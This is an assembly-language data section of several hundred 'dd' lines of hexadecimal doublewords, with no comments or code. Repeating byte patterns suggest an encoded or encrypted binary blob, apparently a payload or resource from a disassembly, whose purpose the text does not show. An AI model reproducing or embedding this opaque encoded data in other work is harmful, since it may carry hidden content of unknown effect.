		dd 0B2D5756Dh, 6A7FC575h, 756A6BF8h, 0FA8E67C5h, 3EF76A6Bh
		dd 0D5756B62h, 0FA9ADBB2h, 0BAF96A6Bh, 67C5754Fh, 6A6BFBEEh
		dd 0D575A27Bh, 7BAAF3B2h, 8A4AD9B2h, 4EDB6A7Ah,	796A6BFBh
		dd 6BFBDA7Fh, 7392F96Ah, 87B0FFF3h, 0CFF78585h,	858587D4h
		dd 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h, 0DF1C897Ah,	8496C7F7h
		dd 922D8585h, 7A7A62D2h, 7B3EBEFBh, 24257A7Ah, 0DBB9B321h
		dd 6A6BFB2Eh, 0FB9E7F79h, 92F96A6Bh, 6F852A71h,	6A6B231Ah
		dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7A6A7AC2h, 0E959927Ah
		dd 2C297A7Ah, 0FBD6DB2Dh, 7F796A6Bh, 6A6BFB2Eh,	2A7092F9h
		dd 8A7BFFF7h, 922A8585h, 7A7A779Bh, 0F172BEF9h,	6BFBB247h
		dd 7295F96Ah, 0C6FA6091h, 858A7B47h, 750F5985h,	0E27FC575h
		dd 326A6BFBh, 7B47FEF2h, 3D85858Ah, 758585FBh, 0A4087A7Ah
		dd 8A7BCFF7h, 1D128585h, 926A6BEDh, 85859272h, 7B759A12h
		dd 67C5756Ah, 6A6BFABEh, 297C91F9h, 0FB7267F1h,	0C5756A6Bh
		dd 6BFBEE6Fh, 0F9A97B6Ah, 2A297391h, 0AA67C575h, 796A6BFAh
		dd 6BF83667h, 7591F96Ah, 5E67F129h, 796A6BF8h, 6BFBA267h
		dd 7F91F96Ah, 0F852C29h, 0AA67F172h, 796A6BFBh,	6BFB2E67h
		dd 7791F96Ah, 7A8599FBh, 92297A7Ah, 7A7A3255h, 0F352BEF9h
		dd 85B2F98Bh, 7B46FA3Ah, 75830F7Ah, 0FAEE6FC5h,	90F96A6Bh
		dd 7BB9F37Bh, 7BACF389h, 7CC475A4h, 626FC575h, 756A6BF8h
		dd 0FB5277C5h, 0B07B6A6Bh, 437F90F9h, 29FF75AAh, 25858585h
		dd 0B9B32124h, 0ED23122Dh, 2F926A6Bh, 2385859Dh, 0E26F852Ah
		dd 0D96A7B5Fh, 6A6BF822h, 6BF87ADBh, 7F92F96Ah,	0F8227F43h
		dd 6D0F6A6Bh, 6BED3112h, 9D54926Ah, 2A238585h, 48626F85h
		dd 22D96A7Fh, 126A6BF8h, 6A6BED3Bh, 859D6D92h, 47922A85h
		dd 0D97A7A1Fh, 6A73334Eh, 6BED4D12h, 9D78926Ah,	922A8585h
		dd 7A7A1F52h, 7B5BDED9h, 0ED57126Ah, 97926A6Bh,	2A85859Ch
		dd 7A1F6992h, 233AD97Ah, 5F126A77h, 926A6BEDh, 85859CA2h
		dd 1E84922Ah, 3AD97A7Ah, 126A6B0Ah, 6A6BED67h, 859CB992h
		dd 93922A85h, 0D97A7A1Eh, 6A7F538Ah, 6BED6912h,	9CD4926Ah
		dd 922A8585h, 7A7A1EAEh, 77235ED9h, 0ED70126Ah,	0E3926A6Bh
		dd 2A85859Ch, 7A1EC592h, 228AD97Ah, 7A126A73h, 926A6BEDh
		dd 85859CFEh, 1ED0922Ah, 9AD97A7Ah, 126A7F53h, 6A6BEC82h
		dd 859C1592h, 0EF922A85h, 0D97A7A1Eh, 6A7B7A66h, 6BEC9712h
		dd 9C20926Ah, 922A8585h, 7A7A1EFAh, 7A8A46D9h, 0EC98126Ah
		dd 3F926A6Bh, 2A85859Ch, 7A1E1192h, 2352D97Ah, 0AC126A77h
		dd 926A6BECh, 85859C4Ah, 1E2C922Ah, 66D97A7Ah, 126A7348h
		dd 6A6BECB6h, 859C6192h, 3B922A85h, 0D97A7A1Eh,	6A73326Eh
		dd 6BECB812h, 9C7C926Ah, 922A8585h, 7A7A1E56h, 0D90ABEF9h
		dd 6A7A8A56h, 0F32FB925h, 3296FB9Fh, 297A7A7Eh,	0FFF72D2Ch
		dd 858586C5h, 0FBD6DB2Ah, 7F796A6Bh, 6A6BFA8Ah,	2A7F92F9h
		dd 6BF85ADBh, 7892F96Ah, 7566102Ah, 0FABE7FC5h,	7F796A6Bh
		dd 6A6BFBB2h, 2A7492F9h, 507A6F85h, 0FFF76A7Fh,	858586C5h
		dd 0C1FFF72Ah, 2A858581h, 5BDE6F85h, 0CD126A7Bh, 926A6BECh
		dd 85859FEEh, 0C1EFF72Ah, 28858581h, 8A566F85h,	0BEF96A7Ah
		dd 0B8FFF76Eh, 2A858584h, 81C1FFF7h, 852A8585h,	7348526Fh
		dd 0DBB9F36Ah, 6A6BF84Ah, 0B943A28Dh, 7ACEFE75h, 0FFF77A7Ah
		dd 85858494h, 0C5FFF72Ah, 2A858586h, 7A442692h,	72BEF97Ah
		dd 0F73C8C4Bh, 8584B8FFh, 85292A85h, 7B75B26Fh,	73BCF36Ah
		dd 29730F8Ch, 5FC66F85h, 60916A7Bh, 8494FFF7h, 0F72A8585h
		dd 8586C5FFh, 5C922A85h, 0F97A7A44h, 8C7372BEh,	0C575B30Fh
		dd 6BFBD27Fh, 0E6FF16Ah, 0F96A6BFBh, 6EF27D90h,	6B216A7Fh
		dd 47C5756Ah, 6A6BFAD2h, 0D7124691h, 926A6BECh,	85859E9Eh
		dd 5AC74E85h, 856A7323h, 485AC74Eh, 0F72A6A7Fh,	8587B9EFh
		dd 6F852885h, 6A772352h, 87B9FFF7h, 122A8585h, 6A6B216Ah
		dd 8A566F85h, 0BEF96A7Ah
		dd 47413D66h, 6A6BF8DEh, 2425C608h, 2FB9B321h, 96F99FF3h
		dd 2D2C2956h, 1C623FF1h, 75623FF3h, 0FB7E7FC5h,	6FF16A6Bh
		dd 6A6BFB6Ah, 0C56AFEF7h, 437A7A7Ah, 0FF75763Fh, 7A7A7B6Ah
		dd 923FBD1Ch, 3FF77A79h, 92DB2A8Ah, 2A6A6BF8h, 2D8542F1h
		dd 863FF366h, 6BFA9EDBh, 0D67F796Ah, 0F96A6BFBh, 3F437D92h
		dd 0A7FF7586h, 857A7A7Ah, 3FF78A37h, 0FF72A9Eh,	6A96F992h
		dd 7EC39DF3h, 897A7A7Ah, 9247F1DFh, 2D6A6BF8h, 2D8545F1h
		dd 863FF35Ah, 0CE7FC575h, 796A6BFAh, 6BFB827Fh,	7292F96Ah
		dd 75863F43h, 7A7AE5FFh, 9A3FF77Ah, 0E0D2122Ah,	3FF16A6Bh
		dd 42F12A9Eh, 7A476E85h, 0F37A7A7Ah, 8ADB863Fh,	0F96A6BFAh
		dd 3F437992h, 0F70A0F86h, 6BF89E7Fh, 823FF36Ah,	8562F12Ah
		dd 3FF77E29h, 92122AA6h, 0F16A6BE3h, 0F12A823Fh, 476E8542h
		dd 7A7A7A7Ah, 0DB863FF3h, 6A6BFB5Ah, 0FAEA7F79h, 92F96A6Bh
		dd 863F4376h, 3FF7590Fh, 92122AAEh, 856A6BE3h, 0F85A60Fh
		dd 759D929Ah, 0BEF97A7Ah, 0A23FF36Ah, 2AA63FF1h, 298562F1h
		dd 823FF172h, 8562F12Ah, 3FF17229h, 62F12A9Ah, 0F1722985h
		dd 0F12A9E3Fh, 72298562h, 7F91BA4Bh, 787A79C2h,	212425FAh
		dd 7A5EB8B3h, 7A3A7BC2h, 7A72B8FAh, 6BECED12h, 9930926Ah
		dd 922A8585h, 7A7A7507h, 7F486ED9h, 0ECF3126Ah,	4F926A6Bh
		dd 2A858599h, 7A751292h, 5396D97Ah, 6126A7Fh, 926A6BECh
		dd 8585995Ah, 7529922Ah, 0C6D97A7Ah, 126A7B5Fh,	6A6BEC16h
		dd 85997192h, 44922A85h, 0D97A7A75h, 6A7B75BAh,	6BEC2712h
		dd 988C926Ah, 922A8585h, 7A7A7553h, 7A8A76D9h, 0EC3D126Ah
		dd 9B926A6Bh, 2A858598h, 7A756E92h, 3262D97Ah, 4A126A73h
		dd 926A6BECh, 858598B6h, 7485922Ah, 5AD97A7Ah, 126A7723h
		dd 6A6BEC59h, 8598CD92h, 90922A85h, 0D97A7A74h,	6A7B5FB6h
		dd 6BEC7612h, 98D8926Ah, 922A8585h, 7A7A74AFh, 77234ED9h
		dd 0EF8D126Ah, 0F7926A6Bh, 2A858598h, 7A74BA92h, 2336D97Ah
		dd 9E126A6Bh, 926A6BEFh, 85859802h, 74D1922Ah, 6AD97A7Ah
		dd 126A6B11h, 6A6BEFB7h, 85981992h, 0EC922A85h,	0D97A7A74h
		dd 6A7A8A6Ah, 6BEFBB12h, 9834926Ah, 922A8585h, 7A7A74FBh
		dd 7A8A4ED9h, 0EFD2126Ah, 43926A6Bh, 2A858598h,	7A741692h
		dd 237AD97Ah, 0E1126A73h, 926A6BEFh, 8585985Eh,	742D922Ah
		dd 3ED97A7Ah, 126A734Fh, 6A6BEFF0h, 85987592h, 38922A85h
		dd 0D97A7A74h, 6A6B1552h, 6BEF0812h, 9B80926Ah,	922A8585h
		dd 7A7A7457h, 6B2002D9h, 0EF20126Ah, 9F926A6Bh,	2A85859Bh
		dd 7A746292h, 8A6ED97Ah, 30126A7Ah, 926A6BEFh, 85859BAAh
		dd 7479922Ah, 72D97A7Ah, 126A7323h, 6A6BEF42h, 859BC192h
		dd 94922A85h, 0D97A7A77h, 6A734852h, 6BEF6712h,	9BDC926Ah
		dd 922A8585h, 7A7A77A3h, 73333ED9h, 0EF74126Ah,	0EB926A6Bh
		dd 2A85859Bh, 7A77BE92h, 1556D97Ah, 80126A6Bh, 926A6BEEh
		dd 85859B06h, 77D5922Ah, 3AD97A7Ah, 126A7A8Ah, 6A6BEE90h
		dd 859B1D92h, 0E0922A85h, 0D97A7A77h, 6A7F4866h, 6BEEA112h
		dd 9B28926Ah, 922A8585h, 7A7A77FFh, 6B1166D9h, 0EEB6126Ah
		dd 47926A6Bh, 2A85859Bh, 7A770A92h, 236AD97Ah, 0C4126A73h
		dd 926A6BEEh, 85859B52h, 7721922Ah, 42D97A7Ah, 126A7333h
		dd 6A6BEED5h, 859B6992h, 3C922A85h, 0D97A7A77h,	6A6B1162h
		dd 6BEEDA12h, 9A84926Ah, 922A8585h, 7A7A774Bh, 73326AD9h
		dd 0EEF6126Ah, 93926A6Bh, 2A85859Ah, 7A776692h,	5FE2D97Ah
		dd 6126A7Bh, 926A6BEEh,	85859AAEh, 777D922Ah, 0AD97A7Ah
		dd 126A6B20h, 6A6BEE11h, 859AC592h, 88922A85h, 0D97A7A76h
		dd 6A734E4Ah, 6BEE2012h, 9AD0926Ah, 922A8585h, 7A7A76A7h
		dd 7B75B2D9h, 0EE38126Ah, 0EF926A6Bh, 2A85859Ah, 7A76B292h
		dd 5382D97Ah, 4E126A7Fh, 926A6BEEh, 85859AFAh, 76C9922Ah
		dd 1AD97A7Ah, 126A6B23h, 6A6BEE53h, 859A1192h, 0E4922A85h
		dd 0D97A7A76h, 6A7B5AEEh, 6BEE6212h, 9A2C926Ah,	922A8585h
		dd 7A7A76F3h, 7A8A42D9h, 0EE72126Ah, 3B926A6Bh,	2A85859Ah
		dd 7A760E92h, 4862D97Ah, 8C126A7Fh, 926A6BE9h, 85859A56h
		dd 7625922Ah, 4AD97A7Ah, 126A6B15h, 6A6BE99Dh, 859A6D92h
		dd 30922A85h, 0D97A7A76h, 6A733332h, 6BE9AC12h,	9A78926Ah
		dd 922A8585h, 7A7A764Fh, 6B231ED9h, 0E9BE126Ah,	97926A6Bh
		dd 2A8585A5h, 7A765A92h, 5FD2D97Ah, 0C2126A7Bh,	926A6BE9h
		dd 8585A5A2h, 7671922Ah, 7AD97A7Ah, 126A7A8Ah, 6A6BE9D2h
		dd 85A5B992h, 8C922A85h, 0D97A7A71h, 6A7A8A3Eh,	6BE9EB12h
		dd 0A5D4926Ah, 922A8585h, 7A7A719Bh, 7B5FCAD9h,	0E90D126Ah
		dd 0E3926A6Bh, 2A8585A5h, 7A71B692h, 2362D97Ah,	18126A73h
		dd 926A6BE9h, 8585A5FEh, 71CD922Ah, 0F2D97A7Ah,	126A7B5Ah
		dd 6A6BE92Fh, 85A51592h, 0D8922A85h, 0D97A7A71h, 6A6B1566h
		dd 6BE94412h, 0A520926Ah, 922A8585h, 7A7A71F7h,	7BF2BEFBh
		dd 8ED97A7Ah, 0B96A7F53h, 2B9FF32Fh, 2A863FF7h,	6BFAB2DBh
		dd 3A7F796Ah, 0F96A6BFBh, 852A7892h, 6BFBFA4Fh,	720F856Ah
		dd 0AA7FC575h, 796A6BFAh, 6BF8467Fh, 7C92F96Ah,	0FBCADB2Ah
		dd 92F96A6Bh, 6F852A7Dh, 6A6B155Ah, 326F852Ah, 0B36A7333h
		dd 55122DB9h, 926A6BE9h, 8585A48Eh, 6F852A23h, 6A7B5FE2h
		dd 6BF8FAD9h, 0FB9EDB6Ah, 92F96A6Bh, 0FA7F437Eh, 0F6A6BF8h
		dd 0E95A126Dh, 0B7926A6Bh, 238585A4h, 626F852Ah, 0D96A7F48h
		dd 6A6BF8FAh, 6BE97012h, 0A4CC926Ah, 2A238585h,	0F8FA4F85h
		dd 6F856A6Bh, 6A7B5BD6h, 7A8A52D9h, 2FB9256Ah, 292B9FF3h
		dd 723FF12Ch, 0F3460AF1h, 0F1BB7B8Bh, 2FF1523Bh, 6A0EF772h
		dd 3CCC7577h, 4E6FF17Bh, 0FB6A6BFBh, 7A7B84B8h,	75B9F37Ah
		dd 0CC75A0D5h, 378AF97Ch, 0F1853FF2h, 6BFB2A77h, 7893F96Ah
		dd 0CC757491h, 0CC75747Eh, 0AA4B852Fh, 3B747EF2h, 9408A343h
		dd 0F3763FF1h, 248AF362h, 2FB9B321h, 96FB9FF3h,	7A7A7B76h
		dd 7207F12Dh, 7A7B7E12h, 82FFF77Ah, 2A858584h, 5FCA6F85h
		dd 0C5756A7Bh, 6BFB527Fh, 26FF16Ah, 796A6BFBh, 6BFACA6Fh
		dd 7490F96Ah, 8C7FEEF2h, 12858584h, 7A7A7B7Eh, 8482FFF7h
		dd 0F72A8585h, 2 dup(0F72A863Fh), 85848EFFh, 7E122A85h
		dd 0F77A7A7Bh, 858482FFh, 0FFF72A85h, 85858482h, 7A6F852Ah
		dd 126A7323h, 6A6BE978h, 85A7BD92h, 8ECF8585h, 2A858584h
		dd 526F852Dh, 0F96A7723h, 0C5756ABEh, 6BF83A7Fh, 7292F96Ah
		dd 91863FF3h, 863FF155h, 467D7EF0h, 4676063Bh, 0F1720520h
		dd 827B863Fh, 0F15A7AFAh, 7EF0863Fh, 64A467Dh, 5434676h
		dd 863FF172h, 7AFA827Bh, 863F854Bh, 6BFB0ADBh, 7EBAF96Ah
		dd 8863F43h, 0B9B325BEh, 2C9FF32Fh, 7207F12Dh, 0F3760FF1h
		dd 6A3F498Ah, 0F36E3F49h, 0F3B87B80h, 623F79AAh, 779BDF3h
		dd 660F855Ah, 7C4B922Dh, 0BEF97A7Ah, 7BBDF372h,	2582F38Dh
		dd 2FB92724h, 3C929FF3h, 0DB858589h, 6A6BFBDAh,	0FA927F79h
		dd 92F96A6Bh, 3A6FF17Dh, 0FB6A6BFBh, 7A9025B8h,	0B8D5757Ah
		dd 5E6F852Ah, 236A7723h, 0B827AE91h, 0F32F7A7Eh, 2D2C299Fh
		dd 0DB7227F1h, 6A6BF832h, 4F79BCF3h, 6A6BFBF2h,	917394F9h
		dd 3A6F854Fh, 0F16A6B0Ah, 6BFBDA47h, 29BDF96Ah,	0DE6FC575h
		dd 7B6A6BFBh, 37A9C0ADh, 0F32B6A18h, 0BB908DBBh, 83BB7D80h
		dd 0F3B05365h, 0BD7B23AAh, 6EF280F3h
		dd 0F413C49h, 0F1BC0676h, 6FF1763Fh, 6A6BF84Ah,	0FA966F79h
		dd 90F96A6Bh, 796EF278h, 2425A2F3h, 2FB92721h, 0F12D9FF3h
		dd 0F85763Fh, 6A0F856Eh, 85760F85h, 6F85720Fh, 6A7B5FB2h
		dd 6AB82725h, 9FF32F7Ah, 2D2C292Bh, 0F1720FF1h,	0F31C623Fh
		dd 0A6DB623Fh, 0F96A6BFBh, 7F7978BAh, 6A6BFBB2h, 5FAA7F43h
		dd 77096A7Bh, 6BFBCEDBh, 7E92F96Ah, 7B5FAAD9h, 0FBBADB6Ah
		dd 0BDF36A6Bh, 0FA924779h, 95F96A6Bh, 0F7769178h, 6A9AC766h
		dd 0A4436A7Bh, 0DB3D6F0Eh, 6A6BFBAEh, 7A79A77Fh, 227F797Ah
		dd 436A6BFBh, 759A08BDh, 0FB427FC5h, 0C5756A6Bh, 6BFB1E6Fh
		dd 6AFEF76Ah, 7A7A799Eh, 7D0FBD43h, 193BA4Bh, 757A7A7Bh
		dd 6A074ECDh, 0F16A7F50h, 6BF86E67h, 9E67796Ah,	0F96A6BFAh
		dd 0A4437D91h, 0CC754C0Fh, 5BCA477Eh, 852A6A7Bh, 7A5AC74Eh
		dd 0A4926A7Bh, 0F97A7A65h, 0C57572BEh, 6BFB8A4Fh, 0A24F796Ah
		dd 0F96A6BFAh, 4EF37694h, 7B6A9AC7h, 93BA4B6Ah,	7A7A7B50h
		dd 74ECD75h, 6A7F506Ah,	0FBAA67F1h, 0B9FB6A6Bh,	7A7A858Eh
		dd 0FBCE6779h, 0A4436A6Bh, 7A93FF75h, 92DB7A7Ah, 756A6BFAh
		dd 0FAB66FC5h, 0AA7B6A6Bh, 0F37892F9h, 0C393863Fh, 0F17A7A7Ah
		dd 89F3860Fh, 0F17899BBh, 6BFBA26Fh, 0AE6F796Ah, 0F96A6BFBh
		dd 6E437690h, 7B6A9A67h, 0E8FE756Ah, 757A7A7Ah,	6A0F6ECDh
		dd 0F16A7F50h, 6BFB6A77h, 8CBBFB6Ah, 757A7A85h,	0F8627FC5h
		dd 0BB7B6A6Bh, 0B0EB043h, 5AC76EF1h, 436A7B7Ah,	7A5A676Eh
		dd 1B0F6A7Bh, 0CA4F66F0h, 406A7B5Bh, 5BCA4766h,	2B0F6A7Bh
		dd 0F4ECD75h, 6A7F506Ah, 0FBFE67F1h, 91F96A6Bh,	0FA44379h
		dd 860FF157h, 4F66CC75h, 6A7B5BCAh, 0CF4E8529h,	6A7B7A5Ah
		dd 7A648A92h, 72BEF97Ah, 0F84E4FF1h, 94F96A6Bh,	0C74EF372h
		dd 6A7B6A9Ah, 0FF15F91h, 0F4EF786h, 6A7F506Ah, 9174851Ch
		dd 863F856Ch, 6BFB0ADBh, 799E7F6Ah, 3F437A7Ah, 4EF87586h
		dd 4B858585h, 756591BAh, 6A074ECDh, 0F16A7F50h,	6BF83267h
		dd 7991F96Ah, 7204A443h, 776851Ch, 6A7F506Ah, 2425BA4Bh
		dd 5EB8B321h, 9FF32F7Ah, 7A6876C2h, 0FF6D927Ah,	2C297A7Ah
		dd 0F489122Dh, 37926A6Bh, 2A8585A0h, 8A7BC7F7h,	852D8585h
		dd 7723526Fh, 76BEF96Ah, 6BFB2EDBh, 79BCF36Ah, 6BFB9A4Fh
		dd 7694F96Ah, 0C6FA5A91h, 858A7B4Fh, 6F0F5985h,	6BFBF2DBh
		dd 567F796Ah, 0F96A6BFBh, 0FEF27792h, 858A7B4Fh, 84FB3C85h
		dd 7A7A7585h, 0C575A208h, 6BF83E7Fh, 79B9F36Ah,	6BFB5667h
		dd 7591F96Ah, 6BFB82DBh, 6FC5756Ah, 6A6BFBDEh, 92F9AA7Bh
		dd 86FFF373h, 0DB858595h, 6A6BF87Ah, 437F92F9h,	250F723Fh
		dd 43763FF1h, 859586FFh, 0F76D0F85h, 8A7B67FEh,	122A8585h
		dd 6A6B230Ah, 7AFEF692h, 78E2937Ah, 0F6F77A7Ah,	858A7B67h
		dd 85B2F985h, 7B46FA3Ah, 7B830F7Ah, 7BB9F9B9h, 9586FF85h
		dd 0C4758585h, 8A7B67FEh, 6FF18585h, 6A6BF876h,	0FBA26F79h
		dd 90F96A6Bh, 75AA4372h, 7A7827FEh, 75DB917Ah, 0F83E7FC5h
		dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0F8DADB71h, 0FFF36A6Bh
		dd 85859582h, 0EE7FC575h, 326A6BFBh, 75722FF1h,	0FAEE77C5h
		dd 93F96A6Bh, 7876F278h, 6BFBC2DBh, 6FC5756Ah, 6A6BFB52h
		dd 92F9AA7Bh, 86FFF373h, 85858595h, 6B0A3A6Fh, 7A6EC36Ah
		dd 8DE37A7Ah, 8EEFF383h, 12858595h, 6A6BF492h, 85A37992h
		dd 0C7F72A85h, 8585948Fh, 0F9A9922Dh, 0FEF77A7Ah, 858A7B67h
		dd 0FFF72A85h, 8585948Fh, 566F852Ah, 0F96A7A8Ah, 46DB76BEh
		dd 0F96A6BF8h, 0FF4378BAh, 8585958Eh, 7AA4F975h, 0CF857A7Ah
		dd 85859582h, 978CFFF7h, 922A8585h, 7A7A1634h, 3E7FC575h
		dd 0F96A6BFBh, 0F72A7992h, 85948FFFh, 0F852A85h, 71B39272h
		dd 0BEF97A7Ah, 0AA47F16Eh, 0FB6A6BFBh, 7A858EBDh, 6647797Ah
		dd 436A6BF8h, 0F75D0F82h, 85948FFFh, 0F852A85h,	566F8572h
		dd 126A7A8Ah, 6A6BF499h, 85A21192h, 0F852A85h, 566F8572h
		dd 0F96A7A8Ah, 6DB6EBEh, 0F96A6BFBh, 0F72A7C92h, 85978CFFh
		dd 0F852A85h, 710B9272h, 0BEF97A7Ah, 0F647F176h, 0FB6A6BFBh
		dd 7A8584BDh, 4647797Ah, 436A6BF8h, 12410F82h, 6A6BF4A2h
		dd 85A25992h, 0F852A85h, 566F8572h, 0F76A7A8Ah,	85978CFFh
		dd 0F852A85h, 566F8572h, 126A7A8Ah, 6A6BF4A9h, 85AD8592h
		dd 0F852A85h, 566F8572h, 0F96A7A8Ah, 0FF855ABEh, 85859582h
		dd 9586CF85h, 93928585h, 237A7A7Eh, 958EFFF3h, 0C5758585h
		dd 6BFB5277h, 0FE77796Ah, 0F96A6BFBh, 0B2437D93h, 0C5752E09h
		dd 6BFAAA7Fh, 7F92F96Ah, 8FFFF72Ah, 2A858594h, 92720F85h
		dd 7A7A70ADh, 0F176BEF9h, 6BFAA647h, 81BDFB6Ah,	437A7A85h
		dd 0F75D0F82h, 85948FFFh, 0F852A85h, 566F8572h,	126A7A8Ah
		dd 6A6BF4B4h, 85AD0592h, 0F852A85h, 566F8572h, 0F96A7A8Ah
		dd 0F6F76EBEh, 858A7B67h, 85B2F985h, 7B46FA3Ah,	7B830F7Ah
		dd 86FF85B9h, 0F9858595h, 0C4757BB9h, 8A7B67FEh, 6FF18585h
		dd 6A6BFB66h, 3A77C575h, 7B6A6BF8h, 7090F9B0h, 0FF75AA43h
		dd 85858469h, 6BF4B312h, 0AD50926Ah, 852A8585h,	6F85720Fh
		dd 6A7A8A56h, 0F176BEF9h, 859582FFh, 0F8DAD985h, 24256A6Bh
		dd 29B9B321h, 0EF12D2Ch, 6F16A5Eh, 83F36E5Eh, 99A989F3h
		dd 0FB0E6FF1h, 0B8F96A6Bh, 726F796Bh, 0F36A6BFBh, 0F38353ABh
		dd 7392A98Ah, 25A2F3B9h, 2FB92124h, 96FB9FF3h, 7A7A7B5Eh
		dd 122D2C29h, 7A7C60FAh, 6F853A10h, 6A7F5396h, 9A12B9F3h
		dd 107A7EE9h, 966F853Ah, 0F36A7F53h, 3FF1863Fh,	78BAF972h
		dd 860F852Ah, 7AFBFA92h, 863FF17Ah, 0B2F9BBF3h,	46FA3A85h
		dd 830F7A7Bh, 0F1823FF3h, 6BFBAA47h, 7D95F96Ah,	82F34191h
		dd 0F3863F79h, 858492FFh, 6ACC7585h, 849AEFF3h,	82F38585h
		dd 849EFFF3h, 9D8D8585h, 84A6FFF3h, 0FFF18585h,	8585849Ah
		dd 84A6EFF1h, 0AA7B8585h, 8492EFF1h, 78F28585h,	8207413Dh
		dd 0C575BA08h, 6BFB467Fh, 6FC5756Ah, 6A6BFB32h,	0C6AFEF7h
		dd 2A7A7C60h, 820F8529h, 92860F85h, 7A7A43DAh, 0F16ABEF9h
		dd 6BFAEA4Fh, 7E94F96Ah, 46FA6F91h, 7E0F4749h, 53497EBCh
		dd 514946FAh, 7EBC7E0Fh, 0F33C5249h, 85B2F9A3h,	7B46FA3Ah
		dd 43830F7Ah, 75A108BCh, 0FBE27FC5h, 7F796A6Bh,	6A6BFAEAh
		dd 0F17F92F9h, 46FA722Fh, 6B0F3178h, 7B5ADA12h,	96FFF76Ah
		dd 2A858584h, 7AFADE92h, 7FC5757Ah, 6A6BFB8Ah, 0F17C92F9h
		dd 46FA722Fh, 6B0F3E78h, 734E3A12h, 96FFF76Ah, 2A858584h
		dd 7AFAFA92h, 7FC5757Ah, 6A6BF83Ah, 0F17292F9h,	46FA722Fh
		dd 480F2A78h, 73324A12h, 96FFF76Ah, 2A858584h, 7AFA2692h
		dd 0F852DB7Ah, 92F96A6Bh, 0F7292A7Dh, 858496FFh, 15922A85h
		dd 0F97A7A5Ch, 0BA7376BEh, 7BF8FF75h, 0EADB7A7Ah, 796A6BFAh
		dd 6BFAAE7Fh, 7392F96Ah, 0FAC6DB2Ah, 0C5756A6Bh, 6BFB626Fh
		dd 0F9AA7B6Ah, 102A7292h, 0F856DB7Eh, 92F96A6Bh, 0C5752A7Dh
		dd 6BFB8A7Fh, 7C92F96Ah, 7A7A122Ah, 0FFF73A7Ah,	85858496h
		dd 626F852Ah, 0F36A6B11h, 78108E3Fh, 6BFAEADBh,	7E92F96Ah
		dd 7FC5752Ah, 6A6BFB42h, 0AA6FC575h, 7B6A6BFAh,	7392F9AAh
		dd 8E0F852Ah, 154A6F85h, 0BB126A6Bh, 926A6BF4h,	8585AE9Ah
		dd 6FC57523h, 6A6BF862h, 8A2FF728h, 366FF128h, 756A6BF8h
		dd 0FB4677C5h, 0B07B6A6Bh, 287490F9h, 8E0F852Ah, 15666F85h
		dd 36DB6A6Bh, 756A6BFBh
		dd 0FBD26FC5h, 0AA7B6A6Bh, 0F17892F9h, 46FA722Fh, 480F3178h
		dd 6BF4C612h, 0AEE8926Ah, 75238585h, 0FB326FC5h, 28306A6Bh
		dd 288A2FF7h, 0F8326FF1h, 6F796A6Bh, 6A6BF85Eh,	287E90F9h
		dd 8E0F852Ah, 15666F85h, 6ADB6A6Bh, 0F96A6BFBh,	2FF17392h
		dd 7846FA72h, 12460F2Ah, 6A6BF4CDh, 85AE3592h, 6FF12385h
		dd 6A6BFBBAh, 8677C575h, 7B6A6BFAh, 7990F9B0h, 8A2FF728h
		dd 926FF128h, 756A6BFAh, 0FB7E77C5h, 0B07B6A6Bh, 0F852A28h
		dd 666F858Eh, 0F36A6B15h, 85B2F9A3h, 7B46FA3Ah,	0F1830F7Ah
		dd 6BFB2E77h, 7E77796Ah, 0F96A6BF8h, 0F72B7093h, 0F12B8A37h
		dd 6BFB8277h, 7893F96Ah, 0B07BB8F3h, 0F852928h,	666F858Eh
		dd 856A6B15h, 6F858E0Fh, 6A733332h, 85860F85h, 7B5FB66Fh
		dd 6F85296Ah, 6A7B5FB6h, 0B3212425h, 9FF32FB9h,	720F852Dh
		dd 0F82E4F85h, 6F856A6Bh, 6A7B5BD6h, 2725BDF3h,	9FF32FB9h
		dd 2C292A2Bh, 7FC5752Dh, 6A6BFACEh, 0D26FC575h,	0F36A6BFBh
		dd 0F9AC7BBCh, 3FF77F94h, 72122A86h, 0F16A6BE0h, 0F12A723Fh
		dd 676E8562h, 7A7A7A7Ah, 6EDBBDF3h, 796A6BFBh, 6BFBA27Fh
		dd 7F92F96Ah, 7E0EBD43h, 1D91BA4Bh, 2A823FF7h, 0F16A0F85h
		dd 0F12A863Fh, 6A298562h, 0EADBBDF3h, 796A6BFAh, 6BFB727Fh
		dd 7692F96Ah, 420FBD43h, 856E0F85h, 3FF1760Fh, 62F12A82h
		dd 0F36E2985h, 0F85EDBBDh, 0C5756A6Bh, 6BFAEE6Fh, 0F9AA7B6Ah
		dd 0BD437992h, 4FF1730Fh, 6A6BFA8Ah, 0F17894F9h, 0F12A823Fh
		dd 72298562h, 2A863FF1h, 298562F1h, 258AF372h, 0B9B32124h
		dd 5E0EF12Ch, 758BF372h, 0FAD27FC5h, 7F796A6Bh,	6A6BFADEh
		dd 4F07BB43h, 0D27FC575h, 796A6BFAh, 6BFB2E7Fh,	7992F96Ah
		dd 0DBB2D575h, 6A6BFAA2h, 0F37F92F9h, 0DBB87B88h, 6A6BFADAh
		dd 0FB667F79h, 75326A6Bh, 0AB53AAD5h, 7A7B4493h, 0C575337Ah
		dd 6BF86A7Fh, 75BAF96Ah, 5B07BB43h, 6BF84EDBh, 7C92F96Ah
		dd 0F3B2D575h, 0F18A53B2h, 6BFBD66Fh, 71B8F96Ah, 0AB53BBF3h
		dd 7A7B7493h, 0C575337Ah, 6BFB8A7Fh, 0B26FF16Ah, 0F76A6BFBh
		dd 436E6A3Eh, 755207BBh, 0FBEE7FC5h, 7F796A6Bh,	6A6BFB8Eh
		dd 757D92F9h, 42DBB2D5h, 0F96A6BF8h, 7F7940BAh,	6A6BFBDAh
		dd 0AA93BB53h, 337A7A7Ah, 6BFB76DBh, 58BAF96Ah,	5807BB43h
		dd 727FC575h, 796A6BF8h, 6BFB2A7Fh, 7992F96Ah, 0DBB2D575h
		dd 6A6BFBF2h, 533BBAF9h, 7ADB93BBh, 0DB337A7Ah,	6A6BFBFAh
		dd 7551BAF9h, 0FBEE6FC5h, 0AA7B6A6Bh, 6307BB43h, 0B67FC575h
		dd 0F96A6BFBh, 0D5757D92h, 0FB22DBB2h, 0BAF96A6Bh, 91BB532Bh
		dd 0C5753308h, 6BFA8E7Fh, 26FF16Ah, 0F76A6BFBh,	43516A3Eh
		dd 755807BBh, 0FB327FC5h, 0C5756A6Bh, 6BFB426Fh, 0F9AA7B6Ah
